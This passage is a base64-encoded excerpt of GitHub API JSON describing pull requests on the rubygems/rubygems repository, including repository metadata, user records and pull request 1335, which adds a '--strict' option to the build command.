dXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zbGFja2Zhbi9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDE1LTEyLTA1VDE1OjQxOjE4WiIsInVwZGF0ZWRfYXQiOiIyMDE1LTEyLTA1VDE1OjQxOjIxWiIsInB1c2hlZF9hdCI6IjIwMTUtMTItMjVUMTQ6MDg6NTBaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vc2xhY2tmYW4vcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnNsYWNrZmFuL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zbGFja2Zhbi9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NsYWNrZmFuL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwOi8vcnVieWdlbXMub3JnIiwic2l6ZSI6MTg4MjksInN0YXJnYXplcnNfY291bnQiOjAsIndhdGNoZXJzX2NvdW50IjowLCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjpmYWxzZSwiaGFzX3Byb2plY3RzIjp0cnVlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50IjowLCJtaXJyb3JfdXJsIjpudWxsLCJhcmNoaXZlZCI6ZmFsc2UsIm9wZW5faXNzdWVzX2NvdW50IjowLCJsaWNlbnNlIjpudWxsLCJmb3JrcyI6MCwib3Blbl9pc3N1ZXMiOjAsIndhdGNoZXJzIjowLCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiYmFzZSI6eyJsYWJlbCI6InJ1YnlnZW1zOm1hc3RlciIsInJlZiI6Im1hc3RlciIsInNoYSI6Ijc2MTYyNmMyMzU0YWUzMjMyZTUzYTU0Mzg3ZDFjOWVlMzM5YjIzMWMiLCJ1c2VyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxNDA3MCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoicnVieWdlbXMvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNDAyIn0sImh0bWwiOnsiaHJlZiI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE0MDIifSwiaXNzdWUiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0MDIifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0MDIvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE0MDIvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnQiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0ifSwiY29tbWl0cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNDAyL2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvZDJjNGQ5NTgxMWY0MDg2ZGZjNGRmMzI0YWJhMGRkZDIzY2QwMmM2MyJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiRklSU1RfVElNRV9DT05UUklCVVRPUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMzM1IiwiaWQiOjQzNTM1MzE1LCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEzMzUiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEzMzUuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEzMzUucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzM1IiwibnVtYmVyIjoxMzM1LCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6IkFkZCAtLXN0cmljdCBvcHRpb24gdG8gYnVpbGQiLCJ1c2VyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImJvZHkiOiJDbG9zZXMgIzEzMzRcblxuPCEtLSBSZXZpZXdhYmxlOnN0YXJ0IC0tPlxuXG4tLS1cblxuVGhpcyBjaGFuZ2UgaXMgWzxpbWcgc3JjPVwiaHR0cHM6Ly9yZXZpZXdhYmxlLmlvL3Jldmlld19idXR0b24uc3ZnXCIgaGVpZ2h0PVwiMzVcIiBhbGlnbj1cImFic21pZGRsZVwiIGFsdD1cIlJldmlld2FibGVcIi8+XShodHRwczovL3Jldmlld2FibGUuaW8vcmV2aWV3cy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy8xMzM1KVxuXG48IS0tIFJldmlld2FibGU6ZW5kIC0tPlxuIiwiY3JlYXRlZF9hdCI6IjIwMTUtMDgtMjdUMTY6MDM6NDlaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMTdUMjI6MzA6NDVaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiJlMjJhZGI1YWRlZDA4YWIzYjQxZTIwOWEyY2M0ZTcxNDU5MWQ2OTA0IiwiYXNzaWduZWUiOnsibG9naW4iOiJpbmRpcmVjdCIsImlkIjo3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaW5kaXJlY3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJhc3NpZ25lZXMiOlt7ImxvZ2luIjoiaW5kaXJlY3QiLCJpZCI6NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2luZGlyZWN0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfV0sInJlcXVlc3RlZF9yZXZpZXdlcnMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMzM1L2NvbW1pdHMiLCJyZXZpZXdfY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMzM1L2NvbW1lbnRzIiwicmV2aWV3X2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzMzUvY29tbWVudHMiLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL2MwZDdhNTZjNDZiNTEyZTY2ZjYzNzE4OTg2NDZlNDI1YWI0OTgyMWYiLCJoZWFkIjp7ImxhYmVsIjoic2VnaWRkaW5zOnNlZy13ZXJyb3IiLCJyZWYiOiJzZWctd2Vycm9yIiwic2hhIjoiYzBkN2E1NmM0NmI1MTJlNjZmNjM3MTg5ODY0NmU0MjVhYjQ5ODIxZiIsIn